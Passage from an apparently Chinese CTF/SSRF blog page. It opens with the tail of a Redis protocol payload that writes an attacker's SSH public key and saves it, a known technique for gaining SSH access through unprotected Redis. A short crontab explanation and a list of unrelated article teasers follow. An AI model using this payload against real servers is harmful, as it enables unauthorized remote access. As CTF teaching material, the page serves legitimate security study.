$568ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDcuZRdMdqIdV+7OwfFaiQMERu3rMCVYP8KaKUhkLCeLoNDYFObLmo8pTWZ38qn2cHK8AtZjWAHLJYfJYIRWIFrMsuc9SNahXLo2ldaiv3KPGQvR/582q+yFztmnVDqB6LpVdA9Pi11XNexCFr5vXPnzGwJOMisPD1+wOdMWx7sN+9PECVmXHvJLLK79YiBE5IadnU7N+VOCkZkDkg4Mgzbq6h8KZgdihb9D8a8vc77U5jI2iUftuqlkGQm6TU7aCMehXxSseJT4HZpGNtj/gtrY9YACv5X3RGuaWm/bJW1iWtckAZEaYe4IccbqybP3VANV6qXE3RvsBmIXeVaVtnwXaNgfY75cfAoKO3EMRZrKOZGqK5baPsSUF1LJfPzjjkmZNFSPTo3vpO9ZUrx6/DoVd6J7DEhcWqB18BSeY2029/Hk64TKnDd1s1KAuo801nxzj1JUD/xFeHr2szPnlJrk5oldQH5KYBqWbG7YgiprwQe2zHpFGnA26WDcp/AK3U= kali@kali*1
$4
save
*1
$4
quit
在类Unix操作系统中,crontab
(来自"cron table"的缩写)是一种用于定时任务调度的工具,它允许用户安排在指定时间自动执行任务的计划。cron
是一个守护进程,它在后台运行,周期性地检查/etc/crontab
文件、/etc/cron.*
目录和用户的crontab
文件。
定时任务,等一下
相关文章:
CTF 题型 SSRF攻击例题总结
CTF 题型 SSRF攻击&例题总结 文章目录 CTF 题型 SSRF攻击&例题总结Server-side Request Forgery 服务端请求伪造SSRF的利用面1 任意文件读取 前提是知道要读取的文件名2 探测内网资源3 使用gopher协议扩展攻击面Gopher协议 (注意是70端口)python…...
【Swing】Java Swing实现省市区选择编辑器
【Swing】Java Swing实现省市区选择编辑器 1.需求描述2.需求实现3.效果展示 系统:Win10 JDK:1.8.0_351 IDEA:2022.3.3 1.需求描述 在公司的一个 Swing 的项目上需要实现一个选择省市区的编辑器,这还是第一次做这种编辑器…...
spring suite搭建springboot操作
一、前言 有时候久了没开新项目了,重新开发一个新项目,搭建springboot的过程都有点淡忘了,所有温故知新。 二、搭建步骤 从0开始搭建springboot 1.创建work空间。步骤FileNewJava Working Set。 2.选择Java Working Set。 3.自…...
mysql重构
力扣题目链接 列转行 SELECT product_id, store1 store, store1 price FROM products WHERE store1 IS NOT NULL UNION SELECT product_id, store2 store, store2 price FROM products WHERE store2 IS NOT NULL UNION SELECT product_id, store3 store, store3 price FROM p…...
Linux用户、用户组
用户管理命令: 首先要先知道两个配置文件:/etc/group 用户组配置文件/etc/passwd 保存了所有用户的用于读取的必要信息**/etc/shadow **是 Linux 系统中用于存储用户密码信息的文件。这个文件也被称为“影子文件”,因为它包含了 /etc/passwd…...
操作系统系列学习——信号量的代码实现
文章目录 前言信号量的代码实现 前言 一个本硕双非的小菜鸡,备战24年秋招,计划学习操作系统并完成6.0S81,加油! 本文总结自B站【哈工大】操作系统 李治军(全32讲) 老师课程讲的非常好,感谢 【哈…...
【Python操作基础】——变量操作
🍉CSDN小墨&晓末:https://blog.csdn.net/jd1813346972 个人介绍: 研一|统计学|干货分享 擅长Python、Matlab、R等主流编程软件 累计十余项国家级比赛奖项,参与研究经费10w、40w级横向 文…...
滑模控制算法(SMC)讲解-案例(附C代码)
目录 一、滑模控制算法的基本原理 1)滑模面(Sliding Surface)的设计 2)达到条件(Reaching Condition)...
Redis数据结构对象之集合对象和有序集合对象
集合对象 集合对象的编码可以是intset或者hashtable. 概述 intset编码的集合对象使用整数集合作为底层实现,集合对象包含的所有元素都被保存在整数集合里面。 另一方面,hashtable编码的集合对象使用字典作为底层实现,字典的每个键都是一个…...
不要百花齐放
javascript中数组的遍历有如下方法: 1、for (var i 0; i < arr.length; i) 2、for(var item of arr) 3、for(var item in arr) 4、arr.forEach 5、arr.map 6、arr.filter 7、arr.find 8、arr.findIndex 9、arr.indexOf arr.lastIndexOf 10、arr.every…...
使用Java JDBC连接数据库
在Java应用程序中,与数据库交互是一个常见的任务。Java数据库连接(JDBC)是一种用于在Java应用程序和数据库之间建立连接并执行SQL查询的标准API。通过JDBC,您可以轻松地执行各种数据库操作,如插入、更新、删除和查询数…...
阿里云2核4G4M轻量应用服务器价格165元一年
阿里云优惠活动,2核4G4M轻量应用服务器价格165元一年,4Mbps带宽下载速度峰值可达512KB/秒,系统盘是60GB高效云盘,不限制月流量,2核2G3M带宽轻量服务器一年87元12个月,在阿里云CLUB中心查看 aliyun.club 当前…...
连续纯合片段(runs of homozygosity, ROH)的原理
连续纯合片段(Runs of Homozygosity, ROH)的原理及其结果查看方式包含以下几个方面: 原理 定义和识别: ROH是指基因组中由相同祖先遗传下来的连续纯合等位基因组成的片段。它们可以通过比较个体基因组上的等位基因序列来识别。当…...
UCORE 清华大学os实验 lab0 环境配置
打卡 lab 0 : 环境配置 : 首先在ubt 上的环境,可以用虚拟机或者直接在windows 上面配置 然后需要很多工具 如 qemu gdb cmake git 就是中间犯了错误,误以为下载的安装包,一直解压不掉,结果用gpt 检查 结…...
linux 安装常用软件
文件传输工具 sudo yum install –y lrzsz vim编辑器 sudo yum install -y vimDNS 查询 sudo yum install bind-utils用法可以参考文章 《掌握 DNS 查询技巧,dig 命令基本用法》 net-tools包 yum install net-tools -y简单用法: # 查看端口占用情况…...
OpenMP使用教程:入门到精通
在并行编程的领域中,OpenMP无疑是一个强大而又便捷的工具,它让程序员能够以最少的努力实现程序的并行化。本文将详细介绍OpenMP的基本概念、环境配置、核心指令以及实际代码示例,旨在帮助读者从入门到精通OpenMP的使用。 什么是OpenMP&#…...
华为组网:核心交换机旁挂防火墙,基于ACL重定向配置实验
如图所示,由于业务需要,用户有访问Internet的需求。 用户通过接入层交换机SwitchB和核心层交换机SwitchA以及接入网关Router与Internet进行通信。为了保证数据和网络的安全性,用户希望保证Internet到服务器全部流量的安全性,配置重…...
HarmonyOS NEXT应用开发—投票动效实现案例
介绍 本示例介绍使用绘制组件中的Polygon组件配合使用显式动画以及borderRadius实现投票pk组件。 效果预览图 使用说明 加载完成后会有一个胶囊块被切割成两个等大的图形来作为投票的两个选项,中间由PK两字分隔开点击左边选项,两个图形会随着选择人数…...
服务器端(Debian 12)配置jupyter与R 语言的融合
融合前: 服务器端Debian 12,域名:www.leyuxy.online 1.安装r-base #apt install r-base 2.进入R并安装IRkernel #R >install.packages(“IRkernel”) 3.通过jupyter notebook的Terminal执行: R >IRkernel::installspec() 报错 解决办…...
C语言---指针的两个运算符:点和箭头
目录 点(.)运算符箭头(->)运算符需要注意实际例子 C语言中的指针是一种特殊的变量,它存储了一个内存地址。点(.)和箭头(->)是用于访问结构体和联合体成员的运算符。…...
Linux 发布项目到OpenEuler虚拟机
后端:SpringBoot 前端:VUE3 操作系统:Linux 虚拟机:OpenEuler 发布项目是需要先关闭虚拟机上的防火墙 systemctl stop firewalld 一、运行后端项目到虚拟机 1、安装JDK软件包 查询Jdk是否已安装 dnf list installed | grep jd…...
相机与相机模型(针孔/鱼眼/全景相机)
0. 摘要 本文旨在较为直观地介绍相机成像背后的数学模型,主要的章节组织如下: 第1章用最简单的针孔投影模型为例讲解一个三维点是如何映射到图像中的一个像素 第2章介绍除了针孔投影模型外其他一些经典投影模型,旨在让读者建立不同投影模型…...
ARM32day4
1.思维导图 2.实现三个LED灯亮灭 .text .global _start _start: 使能GPIO外设时钟 LDR R0,0x50000A28 LDR R1,[R0]使能GPIOE ORR R1,R1,#(0X1<<4)使能GPIOF ORR R1,R1,#(0X1<<5) STR R1,[R0]设置引脚状态 LDR R0,0X50006000 LDR R1,[R0] 设置PE10为输出 BIC…...
从零开始写 Docker(六)---实现 mydocker run -v 支持数据卷挂载
本文为从零开始写 Docker 系列第六篇,实现类似 docker -v 的功能,通过挂载数据卷将容器中部分数据持久化到宿主机。 完整代码见:https://github.com/lixd/mydocker 欢迎 Star 推荐阅读以下文章对 docker 基本实现有一个大致认识: …...
网站引用图片但它域名被墙了或者它有防盗链,我们想引用但又不能显示,本文附详细的解决方案非常简单!
最好的办法就是直接读取图片文件,用到php中一个常用的函数file_get_contents(图片地址),意思是读取远程的一张图片,在输出就完事。非常简单~话不多说,直接上代码 <?php header("Content-type: image/jpeg&quo…...
Java八股文(RabbitMQ)
Java八股文のRabbitMQ RabbitMQ RabbitMQ RabbitMQ 是什么?它解决了哪些问题? RabbitMQ 是一个开源的消息代理中间件,用于在应用程序之间进行可靠的异步消息传递。 它解决了应用程序间解耦、消息传递、负载均衡、故障恢复等问题。 RabbitMQ …...
科研学习|论文解读——一种用于短文本消息中的释义检测的深度网络模型(IPM, 2018)
论文原标题 A deep network model for paraphrase detection in short text messages 摘要 本文研究释义检测,即识别语义相同的句子。检测用自然语言编写的相似句子的能力对一些应用程序至关重要,如文本挖掘、文本摘要、剽窃检测、作者身份认证和问题回答。认识到这一…...
鸿蒙Harmony应用开发—ArkTS声明式开发(基础手势:Web)下篇
onRequestSelected onRequestSelected(callback: () > void) 当Web组件获得焦点时触发该回调。 示例: // xxx.ets import web_webview from ohos.web.webviewEntry Component struct WebComponent {controller: web_webview.WebviewController new web_webv…...
3月19日做题
[NPUCTF2020]验证🐎 if (first && second && first.length second.length && first!second && md5(firstkeys[0]) md5(secondkeys[0]))用数组绕过first1&second[1] 这里正则规律过滤位(Math.) (?:Math(?:\.\w)?) : 匹配 …...
Java8中Stream流API最佳实践Lambda表达式使用示例
文章目录 一、创建流二、中间操作和收集操作筛选 filter去重distinct截取跳过映射合并多个流是否匹配任一元素:anyMatch是否匹配所有元素:allMatch是否未匹配所有元素:noneMatch获取任一元素findAny获取第一个元素findFirst归约数值流的使用中…...
2014个人网站备案/百度下载app下载安装
万拓单控存储DS1200是万拓推出的新一代基于Intel高性能服务器平台推出的12盘位存储产品,凭借面向云架构的存储操作系统、强大的新一代硬件平台和丰富的智能管理软件,采用WEB GUI管理界面,应用大容量写入缓存、掉电零数据丢失的缓存保护技术和优化的高可靠…...
wordpress文章推荐/中山360推广
可以使用下面语句对所要观察的寄存器约束,避免被其优化掉。 方法1: reg[15:0] data; /*synthesis noprune*/ 方法2: (*noprune*)reg[15:0] data; 比如原数据在A列,想从A1开始每隔31行提取新数据&a…...
微信二维码网站制作/重庆百度推广开户
1cmd查看 ipconfig -all 2电脑设置查看...
动态网站设计作品/关键词分类哪八种
前言 上篇博客,我们学习了实现多态的两个条件 父类的指针或引用子类重写父类的虚函数 还有,final,override,纯虚函数,抽象类等相关知识。 本篇我们将学习多态实现的底层原理 话不多说,马上开始今天的学习 文…...
重庆高端网站建设/爱站网关键词查询网站的工具
2012年-2013年,Sunny在CSDN技术博客中陆续发表了100多篇与设计模式学习相关的文章,涵盖了七个面向对象设计原则和24个设计模式(23个GoF设计模式 简单工厂模式),为了方便大家学习,现将所有文章的链接进行了…...
国内软件公司排行榜/关键词优化排名首页
题目描述 完成函数 createModule,调用之后满足如下要求: 1、返回一个对象 2、对象的 greeting 属性值等于 str1, name 属性值等于 str2 3、对象存在一个 sayIt 方法,该方法返回的字符串为 greeting属性值 , name属性值 思路 …...